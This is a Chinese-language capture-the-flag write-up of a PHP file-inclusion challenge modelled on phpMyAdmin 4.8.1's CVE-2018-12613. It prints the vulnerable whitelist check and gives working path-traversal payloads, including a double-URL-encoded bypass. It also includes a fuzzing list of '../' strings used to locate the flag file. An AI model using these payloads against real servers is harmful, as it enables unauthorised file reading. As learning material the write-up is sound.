拿到題目,檢視源碼

看到source.php,檢視其内容
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)//建立函數,&是引用,影響原值
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //0.$page是否為空,是否為字元串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //1.$page是否在數組裡
return true;
}
$_page = mb_substr( //取字元串的一部分
$page,
0,
mb_strpos($page . '?', '?') //傳回字元在字元串中首次出現的位置
);
if (in_array($_page, $whitelist)) { //$page是否數組中
return true;
}
$_page = urldecode($page); //url解碼
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //$page是否數組中
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //是否為空
&& is_string($_REQUEST['file'])//是否是字元串
&& emmm::checkFile($_REQUEST['file'])//進入函數
) {
include $_REQUEST['file'];//滿足條件後包含'file'
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
從上面的代碼中可以看出對傳入的
REQUEST
參數file經過層層篩選,當file進入函數
checkFile
後,可以看出,如果file在數組中,則會傳回True,進而include包含file,大緻猜出這是一個包含漏洞,但是韓式沒有頭緒。看到
checkFile
的變量:
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
看到還有一個
hint.php
。由于
REQUEST
的參數包含
GET
方法傳遞的參數,是以直接
GET
傳file,在url結尾加
?file=hint.php
,看到傳回的頁面提示
flag not here, and flag in ffffllllaaaagggg
,到這裡我想了好久,還是不明白。覺得checkFike裡的後倆判斷很可疑,但不知如何利用,于是問了度娘,得知:
phpmyadmin4.8.1遠端檔案包含漏洞 CVE-2018-12613
這是一個檔案包含+目錄穿越的漏洞,于是剩下就是構造url了,而url怎麼構造呢?
看checkFile的源碼可以看出,
if (! isset($page) || !is_string($page)) { //0.$page是否為空,是否為字元串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //1.$page是否在數組裡
return true;
}
這兩次判斷是做不了手腳了,即使傳回True,也隻能包含$whitelist裡的兩個檔案,于是往下看。
法1:
$_page = mb_substr( //取字元串的一部分
$page,
0,
mb_strpos($page . '?', '?') //傳回字元在字元串中首次出現的位置
);
if (in_array($_page, $whitelist)) { //$page是否數組中
return true;
}
可以看出,
$_page
是我們需要的,也可以被利用,我們大緻構造一個
?file=hint.php?/..//ffffllllaaaagggg
(大緻是這個樣,具體還需要測試),進而既能滿足函數的判斷,也能使目标檔案被包含。達到目的。
同理,繼續往下看
法2:
$_page = urldecode($page); //url解碼
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //$page是否數組中
return true;
}
發現,
$_page
又進行一次解碼,本身伺服器會進行一次解碼,然後可以看出可上一個同理,隻不過需要經過兩次url編碼,是以構造 大緻構造一個
?file=hint.php%253f/..//ffffllllaaaagggg
,進而達到目的。
但是不知道ffffllllaaaagggg檔案在哪,可以寫一個小腳本,跑着試一下
/../../../../../../../../ffffllllaaaagggg
,也即是嘗試找
ffffllllaaaagggg
檔案的路徑,腳本後期再補。
整體就是這樣,兩種方法都可,主要要看那個漏洞的,這個題就是那個漏洞的變換,換湯不換藥。
補充:本來想着用腳本試flag的路徑,然後想了想,還是用burpsuit一把fuzz比較好用,截圖如下:
txt如下
hint.php?/../ffffllllaaaagggg
hint.php?/../../ffffllllaaaagggg
hint.php?/../../../ffffllllaaaagggg
hint.php?/../../../../ffffllllaaaagggg
hint.php?/../../../../../ffffllllaaaagggg
hint.php?/../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../../ffffllllaaaagggg
用bp跑過的結果:
于是就跑出來了,但是發下一個問題,就是目錄穿越的時候,隻要
../
的個數大于等于實際的,就會傳回要包含的檔案,正如上圖裡面,Request為>=4都會傳回我們想要的結果,不明白為什麼??希望會的解答一下。